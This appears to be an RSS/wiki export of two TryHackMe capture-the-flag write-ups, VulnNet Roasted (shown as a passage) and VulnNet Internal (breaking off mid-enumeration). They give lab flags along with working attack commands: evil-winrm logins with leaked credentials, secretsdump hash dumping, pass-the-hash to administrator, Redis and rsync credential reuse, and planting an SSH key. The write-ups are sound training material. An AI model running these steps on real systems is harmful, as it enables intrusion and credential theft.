Dim objRootDSE, strDNSDomain, objTrans, strNetBIOSDomain
Dim strUserDN, objUser, strPassword, strUserNTName

' Constants for the NameTranslate object.
Const ADS_NAME_INITTYPE_GC = 3
Const ADS_NAME_TYPE_NT4 = 3
Const ADS_NAME_TYPE_1779 = 1

If (Wscript.Arguments.Count &lt;&gt; 0) Then
    Wscript.Echo "Syntax Error. Correct syntax is:"
    Wscript.Echo "cscript ResetPassword.vbs"
    Wscript.Quit
End If

strUserNTName = "a-whitehat" &lt;------------------------------------------ interesting
strPassword = "bNdKVkjv3RR9ht" &lt;---------------------------------------- interesting

' Determine DNS domain name from RootDSE object.
Set objRootDSE = GetObject("LDAP://RootDSE")
strDNSDomain = objRootDSE.Get("defaultNamingContext")

' Use the NameTranslate object to find the NetBIOS domain name from the
' DNS domain name.
Set objTrans = CreateObject("NameTranslate")
objTrans.Init ADS_NAME_INITTYPE_GC, ""
objTrans.Set ADS_NAME_TYPE_1779, strDNSDomain
strNetBIOSDomain = objTrans.Get(ADS_NAME_TYPE_NT4)
' Remove trailing backslash.
strNetBIOSDomain = Left(strNetBIOSDomain, Len(strNetBIOSDomain) - 1)

' Use the NameTranslate object to convert the NT user name to the
' Distinguished Name required for the LDAP provider.
On Error Resume Next
objTrans.Set ADS_NAME_TYPE_NT4, strNetBIOSDomain &amp; "\" &amp; strUserNTName
If (Err.Number &lt;&gt; 0) Then
    On Error GoTo 0
    Wscript.Echo "User " &amp; strUserNTName _
        &amp; " not found in Active Directory"
    Wscript.Echo "Program aborted"
    Wscript.Quit
End If
strUserDN = objTrans.Get(ADS_NAME_TYPE_1779)
' Escape any forward slash characters, "/", with the backslash
' escape character. All other characters that should be escaped are.
strUserDN = Replace(strUserDN, "/", "\/")

' Bind to the user object in Active Directory with the LDAP provider.
On Error Resume Next
Set objUser = GetObject("LDAP://" &amp; strUserDN)
If (Err.Number &lt;&gt; 0) Then
    On Error GoTo 0
    Wscript.Echo "User " &amp; strUserNTName _
        &amp; " not found in Active Directory"
    Wscript.Echo "Program aborted"
    Wscript.Quit
End If
objUser.SetPassword strPassword
If (Err.Number &lt;&gt; 0) Then
    On Error GoTo 0
    Wscript.Echo "Password NOT reset for " &amp;vbCrLf &amp; strUserNTName
    Wscript.Echo "Password " &amp; strPassword &amp; " may not be allowed, or"
    Wscript.Echo "this client may not support a SSL connection."
    Wscript.Echo "Program aborted"
    Wscript.Quit
Else
    objUser.AccountDisabled = False
    objUser.Put "pwdLastSet", 0
    Err.Clear
    objUser.SetInfo
    If (Err.Number &lt;&gt; 0) Then
        On Error GoTo 0
        Wscript.Echo "Password reset for " &amp; strUserNTName
        Wscript.Echo "But, unable to enable account or expire password"
        Wscript.Quit
    End If
End If
On Error GoTo 0

Wscript.Echo "Password reset, account enabled,"
Wscript.Echo "and password expired for user " &amp; strUserNTNamegetting file \ResetPassword.vbs of size 2821 as - (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)</pre>
<p>Credentials are disclosed in the VBS script:
</p>
<ul><li>User: <code>a-whitehat</code></li>
<li>Password: <code>bNdKVkjv3RR9ht</code></li></ul>
<div class="mw-heading mw-heading2"><h2 id="User_flag">User flag</h2></div>
<p>Let’s now use <code>evil-winrm</code> to connect using the credentials found above.
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Roasted]
└─$ evil-winrm -i 10.10.100.15 -u a-whitehat -p "bNdKVkjv3RR9ht"

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\a-whitehat\Documents&gt; cd \Users
*Evil-WinRM* PS C:\Users&gt; dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/27/2021  10:47 PM                a-whitehat
d-----        3/13/2021   3:20 PM                Administrator
d-----        3/13/2021   3:42 PM                enterprise-core-vn
d-r---        3/11/2021   7:36 AM                Public


*Evil-WinRM* PS C:\Users&gt; cd enterprise-core-vn\Desktop
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop&gt; cat user.txt
THM{726b7c0baaac1455d05c827b5561f4ed}</pre>
<p>User flag: <code>THM{726b7c0baaac1455d05c827b5561f4ed}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="What_is_the_system_flag?_(Desktop.txt)"><span id="What_is_the_system_flag.3F_.28Desktop.txt.29"></span>What is the system flag? (Desktop.txt)</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Dump_hashes">Dump hashes</h2></div>
<p>Let’s use <code>secretsdump.py</code> to dump the hashes, using the credentials found.
</p>
<pre>┌──(kali㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─$ python3 secretsdump.py vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.10.100.15                             1 ⨯
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xf10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
VULNNET-RST\WIN-2BO8M1OE1M1$:aes256-cts-hmac-sha1-96:e15c59ee8e198aca3629e33c3e97f37827faaab34f475c83b76ffa53f83d58e7
VULNNET-RST\WIN-2BO8M1OE1M1$:aes128-cts-hmac-sha1-96:de131f2343b586e21ba7f0867671f397
VULNNET-RST\WIN-2BO8M1OE1M1$:des-cbc-md5:8ad94f8613101694
VULNNET-RST\WIN-2BO8M1OE1M1$:plain_password_hex:5c51fad41849d3187783c78cc334ff666a46a49248a10e81a894e0bf6e20219d775cc61d35e34d0ff6a6bb3a378026bfcdc979abc624d19b78b8f448ec263757628eb786b3d47a2e638ea70f99c9898237d12750541632540fe3b82507e7ae542e43b1f20e1ccb473af2abf1bd15b8a7990bb4c6250e1e85b12522ae9a0ba0cc04d5d8e4932eb366f6be58e84974cc817f2265e85dcfdd65a887d882cea77e22edb84e47523e11245605eb1ff867c68e966022b5918e1253e6b8908e5e25527dc8d0dfe12ffc83fe7ed3fa4216b13aff427b6e51984b6abc3960e3e353f1e0345dec4ae1b9fcceb64842dc310a20c983
VULNNET-RST\WIN-2BO8M1OE1M1$:aad3b435b51404eeaad3b435b51404ee:875ff956b083d37e2e80d256e36deece:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x20809b3917494a0d3d5de6d6680c00dd718b1419
dpapi_userkey:0xbf8cce326ad7bdbb9bbd717c970b7400696d3855
[*] NL$KM 
 0000   F3 F6 6B 8D 1E 2A F4 8E  85 F6 7A 46 D1 25 A0 D3   ..k..*....zF.%..
 0010   EA F4 90 7D 2D CB A5 8C  88 C5 68 4C 1E D3 67 3B   ...}-.....hL..g;
 0020   DB 31 D9 91 C9 BB 6A 57  EA 18 2C 90 D3 06 F8 31   .1....jW..,....1
 0030   7C 8C 31 96 5E 53 5B 85  60 B4 D5 6B 47 61 85 4A   |.1.^S[.`..kGa.J
NL$KM:f3f66b8d1e2af48e85f67a46d125a0d3eaf4907d2dcba58c88c5684c1ed3673bdb31d991c9bb6a57ea182c90d306f8317c8c31965e535b8560b4d56b4761854a

[REDACTED]</pre>
<div class="mw-heading mw-heading2"><h2 id="System_flag">System flag</h2></div>
<p>Now that we have the administrator’s hash, we can use it to connect and get the sytem flag:
</p>
<pre>┌──(kali㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─$ evil-winrm -i 10.10.100.15 -u administrator -H "c2597747aa5e43022a3a3049a3c3b09d"                           1 ⨯

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop&gt; dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/13/2021   3:34 PM             39 system.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop&gt; cat system.txt
THM{16f45e3934293a57645f8d7bf71d8d4c}</pre>
<p>System flag: <code>THM{16f45e3934293a57645f8d7bf71d8d4c}</code>
</p>
<!-- 
NewPP limit report
Cached time: 20260416101056
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.018 seconds
Real time usage: 0.018 seconds
Preprocessor visited node count: 86/1000000
Revision size: 17943/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 0/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 15340/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7024:|#|:idhash:canonical and timestamp 20260416101056 and revision id 38766. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
        <item>
            <title>TryHackMe > VulnNet Internal</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-VulnNet-Internal</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-VulnNet-Internal</comments>
            <pubDate>Thu, 27 May 2021 11:48:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-VulnNet-Internal</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-VulnNet-Internal.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>VulnNet Entertainment learns from its mistakes, and now they have something new for you…
</p><p>VulnNet Entertainment is a company that learns from its mistakes. They quickly realized that they can’t make a properly secured web application so they gave up on that idea. Instead, they decided to set up internal services for business purposes. As usual, you’re tasked to perform a penetration test of their network and report your findings.
</p>
<ul><li>Difficulty: Easy/Medium</li>
<li>Operating System: Linux</li></ul>
<p>This machine was designed to be quite the opposite of the previous machines in this series and it focuses on internal services. It’s supposed to show you how you can retrieve interesting information and use it to gain system access. Report your findings by submitting the correct flags.
</p><p>Note: It might take 3-5 minutes for all the services to boot.
</p>
<ul><li>Author: TheCyb3rW0lf</li>
<li>Discord: TheCyb3rW0lf#8594</li></ul>
<p>Icon made by Freepik from www.flaticon.com
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#What_is_the_services_flag?_(services.txt)"><span class="tocnumber">1</span> <span class="toctext">What is the services flag? (services.txt)</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Nmap_scan"><span class="tocnumber">1.1</span> <span class="toctext">Nmap scan</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#Samba"><span class="tocnumber">1.2</span> <span class="toctext">Samba</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-4"><a href="#What_is_the_internal_flag?_(“internal_flag”)"><span class="tocnumber">2</span> <span class="toctext">What is the internal flag? (“internal flag”)</span></a>
<ul>
<li class="toclevel-2 tocsection-5"><a href="#NFS"><span class="tocnumber">2.1</span> <span class="toctext">NFS</span></a></li>
<li class="toclevel-2 tocsection-6"><a href="#Redis"><span class="tocnumber">2.2</span> <span class="toctext">Redis</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-7"><a href="#What_is_the_user_flag?_(user.txt)"><span class="tocnumber">3</span> <span class="toctext">What is the user flag? (user.txt)</span></a>
<ul>
<li class="toclevel-2 tocsection-8"><a href="#Redis_2"><span class="tocnumber">3.1</span> <span class="toctext">Redis</span></a></li>
<li class="toclevel-2 tocsection-9"><a href="#rsync"><span class="tocnumber">3.2</span> <span class="toctext">rsync</span></a></li>
<li class="toclevel-2 tocsection-10"><a href="#SSH_connection_/_user_flag"><span class="tocnumber">3.3</span> <span class="toctext">SSH connection / user flag</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-11"><a href="#What_is_the_root_flag?_(root.txt)"><span class="tocnumber">4</span> <span class="toctext">What is the root flag? (root.txt)</span></a>
<ul>
<li class="toclevel-2 tocsection-12"><a href="#TeamCity"><span class="tocnumber">4.1</span> <span class="toctext">TeamCity</span></a></li>
<li class="toclevel-2 tocsection-13"><a href="#Running_commands_on_TeamCity"><span class="tocnumber">4.2</span> <span class="toctext">Running commands on TeamCity</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="What_is_the_services_flag?_(services.txt)"><span id="What_is_the_services_flag.3F_.28services.txt.29"></span>What is the services flag? (services.txt)</h1></div>
<p><i>Hint: It’s stored inside one of the available services.</i>
</p>
<div class="mw-heading mw-heading2"><h2 id="Nmap_scan">Nmap scan</h2></div>
<p>Nmap reveals several open ports:
</p>
<pre>PORT      STATE    SERVICE     VERSION
22/tcp    open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
|   256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
|_  256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp   open     rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      35973/tcp   mountd
|   100005  1,2,3      50743/udp   mountd
|   100005  1,2,3      50821/tcp6  mountd
|   100005  1,2,3      60228/udp6  mountd
|   100021  1,3,4      33804/udp6  nlockmgr
|   100021  1,3,4      35968/udp   nlockmgr
|   100021  1,3,4      38965/tcp6  nlockmgr
|   100021  1,3,4      44305/tcp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp   open     rsync       (protocol version 31)
2049/tcp  open     nfs_acl     3 (RPC #100227)
6379/tcp  open     redis       Redis key-value store
9090/tcp  filtered zeus-admin
35973/tcp open     mountd      1-3 (RPC #100005)
39613/tcp open     mountd      1-3 (RPC #100005)
42041/tcp open     java-rmi    Java RMI
44305/tcp open     nlockmgr    1-4 (RPC #100021)
49833/tcp open     mountd      1-3 (RPC #100005)
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -39m59s, deviation: 1h09m16s, median: 0s
|_nbstat: NetBIOS name: VULNNET-INTERNA, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: vulnnet-internal
|   NetBIOS computer name: VULNNET-INTERNAL\x00
|   Domain name: \x00
|   FQDN: vulnnet-internal
|_  System time: 2021-05-26T20:17:39+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-05-26T18:17:39
|_  start_date: N/A</pre>
<div class="mw-heading mw-heading2"><h2 id="Samba">Samba</h2></div>
<p>Listing the Samba shares reveals a <code>shares</code> network share:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal]
└─$ smbclient -L 10.10.190.83                              
Enter WORKGROUP\kali's password: 

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    shares          Disk      VulnNet Business Shares
    IPC$            IPC       IPC Service (vulnnet-internal server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available</pre>
<p>We can access it without authentication, and read the content of the <code>services.txt</code> file which contains the flag:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal]
└─$ smbclient //10.10.190.83/shares
Enter WORKGROUP\kali's password: 
Try "help" to get a list of possible commands.
smb: \&gt; ls
  .                                   D        0  Tue Feb  2 10:20:09 2021
  ..                                  D        0  Tue Feb  2 10:28:11 2021
  temp                                D        0  Sat Feb  6 12:45:10 2021
  data                                D        0  Tue Feb  2 10:27:33 2021

        11309648 blocks of size 1024. 3275768 blocks available
smb: \&gt; cd temp
smb: \temp\&gt; ls
  .                                   D        0  Sat Feb  6 12:45:10 2021
  ..                                  D        0  Tue Feb  2 10:20:09 2021
  services.txt                        N       38  Sat Feb  6 12:45:09 2021

        11309648 blocks of size 1024. 3275768 blocks available
smb: \temp\&gt; get services.txt -
THM{0a09d51e488f5fa105d8d866a497440a}
getting file \temp\services.txt of size 38 as - (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)</pre>
<p>Services flag: <code>THM{0a09d51e488f5fa105d8d866a497440a}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="What_is_the_internal_flag?_(“internal_flag”)"><span id="What_is_the_internal_flag.3F_.28.E2.80.9Cinternal_flag.E2.80.9D.29"></span>What is the internal flag? (“internal flag”)</h1></div>
<p><i>Hint: It’s stored inside a database of one of the services.</i>
</p>
<div class="mw-heading mw-heading2"><h2 id="NFS">NFS</h2></div>
<p>The Nmap scan revealed a NFS share. We can connect without authentication:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ mkdir tmp/

┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ sudo mount -t nfs 10.10.190.83: tmp     
                                                                                                                     
┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ tree tmp             
tmp
└── opt
    └── conf
        ├── hp
        │   └── hplip.conf
        ├── init
        │   ├── anacron.conf
        │   ├── lightdm.conf
        │   └── whoopsie.conf
        ├── opt
        ├── profile.d
        │   ├── bash_completion.sh
        │   ├── cedilla-portuguese.sh
        │   ├── input-method-config.sh
        │   └── vte-2.91.sh
        ├── redis
        │   └── redis.conf
        ├── vim
        │   ├── vimrc
        │   └── vimrc.tiny
        └── wildmidi
            └── wildmidi.cfg</pre>
<p>There is an interesting <code>redis.conf</code> configuration file. It contains the password to the Redis server:
</p>
<pre>┌──(kali㉿kali)-[/data/…/files/opt/conf/redis]
└─$ grep -Ev "^#|^$" redis.conf
rename-command FLUSHDB ""
rename-command FLUSHALL ""
bind 127.0.0.1&nbsp;::1
protected-mode yes
port 6379
tcp-backlog 511
timeout 0
tcp-keepalive 300
daemonize yes
supervised no
pidfile /var/run/redis/redis-server.pid
loglevel notice
logfile /var/log/redis/redis-server.log
databases 16
always-show-logo yes
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
dir /var/lib/redis
slave-serve-stale-data yes
requirepass "B65Hx562F@ggAZ@F" &lt;-------------------- password
slave-read-only yes
repl-diskless-sync no
repl-diskless-sync-delay 5
repl-disable-tcp-nodelay no
slave-priority 100
lazyfree-lazy-eviction no
lazyfree-lazy-expire no
lazyfree-lazy-server-del no
slave-lazy-flush no
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
aof-load-truncated yes
aof-use-rdb-preamble no
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
latency-monitor-threshold 0
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-size -2
list-compress-depth 0
set-max-intset-entries 512
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
hll-sparse-max-bytes 3000
activerehashing yes
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit slave 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60
hz 10
aof-rewrite-incremental-fsync yes</pre>
<div class="mw-heading mw-heading2"><h2 id="Redis">Redis</h2></div>
<p>Let’s connect to the Redis server using the password found just above:
</p>
<pre>┌──(kali㉿kali)-[/data/…/files/opt/conf/redis]
└─$ redis-cli -h 10.10.190.83 -a "B65Hx562F@ggAZ@F"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.190.83:6379&gt; ping
PONG</pre>
<p>We can list the <code>KEYS</code>. The internal flag is found under the <code>internal flag</code> key:
</p>
<pre>10.10.190.83:6379&gt; KEYS *
1) "tmp"
2) "marketlist"
3) "authlist"
4) "internal flag"
5) "int"
10.10.190.83:6379&gt; 
10.10.190.83:6379&gt; KEYS "internal flag"
1) "internal flag"
10.10.190.83:6379&gt; GET "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"</pre>
<p>Internal flag: <code>THM{ff8e518addbbddb74531a724236a8221}</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="What_is_the_user_flag?_(user.txt)"><span id="What_is_the_user_flag.3F_.28user.txt.29"></span>What is the user flag? (user.txt)</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Redis_2">Redis</h2></div>
<p>Still connected to the Redis server, we find a base64 encoded string under the <code>authlist</code> object:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ redis-cli -h 10.10.190.83 -a "B65Hx562F@ggAZ@F"                       
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.190.83:6379&gt; KEYS *
1) "internal flag"
2) "authlist"
3) "marketlist"
4) "int"
5) "tmp"
10.10.190.83:6379&gt; GET authlist
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.190.83:6379&gt; LRANGE authlist 1 100
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
10.10.190.83:6379&gt; </pre>
<p>The encoded string revals the rsync connection string as well as the password:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v</pre>
<div class="mw-heading mw-heading2"><h2 id="rsync">rsync</h2></div>
<p>Connecting to the rsync server reveals a <code>files</code> directory:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ rsync --list-only rsync://10.10.190.83                                                                     23 ⨯
files           Necessary home interaction</pre>
<p>There is a subfolder called <code>sys-internal</code> which contains the user flag.
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ rsync --list-only rsync://rsync-connect@10.10.190.83/files
Password: Hcg3HP67@TW@Bc72v
drwxr-xr-x          4,096 2021/02/01 13:51:14 .
drwxr-xr-x          4,096 2021/02/06 13:49:29 sys-internal

┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ rsync --list-only rsync://rsync-connect@10.10.190.83/files/sys-internal/
Password: 
drwxr-xr-x          4,096 2021/02/06 13:49:29 .
-rw-------             61 2021/02/06 13:49:28 .Xauthority
lrwxrwxrwx              9 2021/02/01 14:33:19 .bash_history
-rw-r--r--            220 2021/02/01 13:51:14 .bash_logout
-rw-r--r--          3,771 2021/02/01 13:51:14 .bashrc
-rw-r--r--             26 2021/02/01 13:53:18 .dmrc
-rw-r--r--            807 2021/02/01 13:51:14 .profile
lrwxrwxrwx              9 2021/02/02 15:12:29 .rediscli_history
-rw-r--r--              0 2021/02/01 13:54:03 .sudo_as_admin_successful
-rw-r--r--             14 2018/02/12 20:09:01 .xscreensaver
-rw-------          2,546 2021/02/06 13:49:35 .xsession-errors
-rw-------          2,546 2021/02/06 12:40:13 .xsession-errors.old
-rw-------             38 2021/02/06 12:54:25 user.txt
drwxrwxr-x          4,096 2021/02/02 10:23:00 .cache
drwxrwxr-x          4,096 2021/02/01 13:53:57 .config
drwx------          4,096 2021/02/01 13:53:19 .dbus
drwx------          4,096 2021/02/01 13:53:18 .gnupg
drwxrwxr-x          4,096 2021/02/01 13:53:22 .local
drwx------          4,096 2021/02/01 14:37:15 .mozilla
drwxrwxr-x          4,096 2021/02/06 12:43:14 .ssh
drwx------          4,096 2021/02/02 12:16:16 .thumbnails
drwx------          4,096 2021/02/01 13:53:21 Desktop
drwxr-xr-x          4,096 2021/02/01 13:53:22 Documents
drwxr-xr-x          4,096 2021/02/01 14:46:46 Downloads
drwxr-xr-x          4,096 2021/02/01 13:53:22 Music
drwxr-xr-x          4,096 2021/02/01 13:53:22 Pictures
drwxr-xr-x          4,096 2021/02/01 13:53:22 Public
drwxr-xr-x          4,096 2021/02/01 13:53:22 Templates
drwxr-xr-x          4,096 2021/02/01 13:53:22 Videos</pre>
<p>Let’s sync our SSH public key:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ cp ~/.ssh/id_rsa.pub authorized_keys

┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ rsync authorized_keys rsync://rsync-connect@10.10.190.83/files/sys-internal/.ssh                            3 ⨯
Password: </pre>
<div class="mw-heading mw-heading2"><h2 id="SSH_connection_/_user_flag"><span id="SSH_connection_.2F_user_flag"></span>SSH connection / user flag</h2></div>
<p>We can now connect through SSH and get the user flag:
</p>
<pre>┌──(kali㉿kali)-[/data/VulnNet_Internal/files]
└─$ ssh sys-internal@10.10.190.83        
sys-internal@vulnnet-internal:~$ cat user.txt 
THM{da7c20696831f253e0afaca8b83c07ab}</pre>
<div class="mw-heading mw-heading1"><h1 id="What_is_the_root_flag?_(root.txt)"><span id="What_is_the_root_flag.3F_.28root.txt.29"></span>What is the root flag? (root.txt)</h1></div>
<p>There is an interesting <code>TeamCity</code> directory at the root of the file system:
</p>
<pre>sys-internal@vulnnet-internal:/$ ls -la /
total 533824
drwxr-xr-x  24 root root      4096 Feb  6 12:58 ./
drwxr-xr-x  24 root root      4096 Feb  6 12:58 ../
drwxr-xr-x   2 root root      4096 Feb  2 14:05 bin/
drwxr-xr-x   3 root root      4096 Feb  1 14:02 boot/
drwx------   2 root root      4096 Feb  1 13:41 .cache/
drwxr-xr-x  17 root root      3720 May 27 07:34 dev/
drwxr-xr-x 129 root root     12288 Feb  7 19:21 etc/
drwxr-xr-x   3 root root      4096 Feb  1 13:51 home/
lrwxrwxrwx   1 root root        34 Feb  1 14:01 initrd.img -&gt; boot/initrd.img-4.15.0-135-generic
lrwxrwxrwx   1 root root        33 Feb  1 13:30 initrd.img.old -&gt; boot/initrd.img-4.15.0-20-generic
drwxr-xr-x  18 root root      4096 Feb  1 13:43 lib/
drwxr-xr-x   2 root root      4096 Feb  1 13:28 lib64/
drwx------   2 root root     16384 Feb  1 13:27 lost+found/
drwxr-xr-x   4 root root      4096 Feb  2 10:49 media/
drwxr-xr-x   2 root root      4096 Feb  1 13:27 mnt/
drwxr-xr-x   4 root root      4096 Feb  2 10:28 opt/
dr-xr-xr-x 136 root root         0 May 27 07:33 proc/
drwx------   8 root root      4096 Feb  6 13:32 root/
drwxr-xr-x  27 root root       880 May 27 08:37 run/
drwxr-xr-x   2 root root      4096 Feb  2 14:06 sbin/
drwxr-xr-x   2 root root      4096 Feb  1 13:27 srv/
-rw-------   1 root root 546529280 Feb  1 13:27 swapfile
dr-xr-xr-x  13 root root         0 May 27 08:39 sys/
drwxr-xr-x  12 root root      4096 Feb  6 13:30 TeamCity/ &lt;----------------------- interesting
drwxrwxrwt  11 root root      4096 May 27 08:40 tmp/
drwxr-xr-x  10 root root      4096 Feb  1 13:27 usr/
drwxr-xr-x  13 root root      4096 Feb  1 13:43 var/
lrwxrwxrwx   1 root root        31 Feb  1 14:01 vmlinuz -&gt; boot/vmlinuz-4.15.0-135-generic
lrwxrwxrwx   1 root root        30 Feb  1 13:30 vmlinuz.old -&gt; boot/vmlinuz-4.15.0-20-generic</pre>
<p>Checking the network sockets reveals that a service is running for localhost on port 8111, which is likely used by TeamCity.
</p>
<pre>sys-internal@vulnnet-internal:~$ ss -ltp
State       Recv-Q       Send-Q                    Local Address:Port                       Peer Address:Port       
LISTEN      0            50                              0.0.0.0:microsoft-ds                    0.0.0.0:*          
LISTEN      0            128                             0.0.0.0:39391                           0.0.0.0:*          
